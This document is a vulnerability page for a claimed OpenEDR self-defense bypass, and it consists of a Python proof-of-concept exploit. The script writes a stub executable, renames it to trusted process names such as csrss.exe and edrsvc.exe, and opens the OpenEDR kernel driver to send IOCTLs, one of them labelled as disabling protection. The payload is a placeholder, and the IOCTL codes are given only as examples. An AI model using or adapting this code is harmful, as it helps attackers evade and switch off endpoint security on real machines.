CVE-2025-69783 OpenEDR本地自我防御机制绕过漏洞

#!/usr/bin/env python3 # CVE-2025-69783 PoC - OpenEDR Self-Defense Bypass # This PoC demonstrates renaming malicious executable to trusted process name import os import sys import ctypes import shutil from pathlib import Path # Define trusted process names that OpenEDR allows TRUSTED_PROCESSES = [ "csrss.exe", "edrsvc.exe", "edrcon.exe", "EDRSensor.exe" ] def create_malicious_executable(output_path): """Generate a malicious executable that will interact with OpenEDR driver""" # This would be the actual malicious payload malicious_code = b'MZ' + b'\x00' * 100 # Simplified PE header with open(output_path, 'wb') as f: f.write(malicious_code) return output_path def bypass_self_defense(target_process_name, malicious_exe_path): """ Bypass OpenEDR self-defense by renaming executable to match a trusted process name """ try: # Create malicious executable temp_malicious = Path(malicious_exe_path) create_malicious_executable(temp_malicious) # Rename to trusted process name to bypass OpenEDR checks target_path = temp_malicious.parent / target_process_name shutil.move(str(temp_malicious), str(target_path)) print(f"[*] Successfully renamed to {target_process_name}") print(f"[*] Malicious executable location: {target_path}") # Attempt to interact with OpenEDR kernel driver via IOCTL # This would require kernel driver communication code interact_with_driver(str(target_path)) return True except Exception as e: print(f"[-] Bypass failed: {e}") return False def interact_with_driver(executable_path): """ Interact with OpenEDR kernel driver after bypassing self-defense This demonstrates the privileged access gained """ # Device name for OpenEDR driver DEVICE_NAME = "\\\\\\.\\OpenEDRDriver" # Example IOCTL codes that could be exploited IOCTL_CONFIG_CHANGE = 0x9A0A1234 IOCTL_PROCESS_MONITOR = 0x9A0A1250 IOCTL_DISABLE_PROTECTION = 0x9A0A1300 try: # Open handle to driver driver_handle = ctypes.windll.kernel32.CreateFileA( DEVICE_NAME.encode(), 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, None, 3, # OPEN_EXISTING 0x80, # FILE_ATTRIBUTE_NORMAL None ) if driver_handle != -1: print("[+] Successfully opened handle to OpenEDR driver") print("[+] Can now send privileged IOCTL requests") # Example: Disable EDR protection # DeviceIoControl(driver_handle, IOCTL_DISABLE_PROTECTION, ...) ctypes.windll.kernel32.CloseHandle(driver_handle) else: print("[-] Failed to open driver handle") except Exception as e: print(f"[-] Driver interaction error: {e}") if __name__ == "__main__": print("CVE-2025-69783 PoC - OpenEDR Self-Defense Bypass") print("=" * 50) if len(sys.argv) > 1: malicious_path = sys.argv[1] else: malicious_path = "C:\\Windows\\Temp\\malicious.exe" # Try each trusted process name for trusted_name in TRUSTED_PROCESSES: print(f"\n[*] Attempting bypass with {trusted_name}...") if bypass_self_defense(trusted_name, malicious_path): print(f"[+] Bypass successful!") break # Note: This is a simplified PoC for demonstration purposes. # Actual exploitation requires kernel driver knowledge and proper binary construction.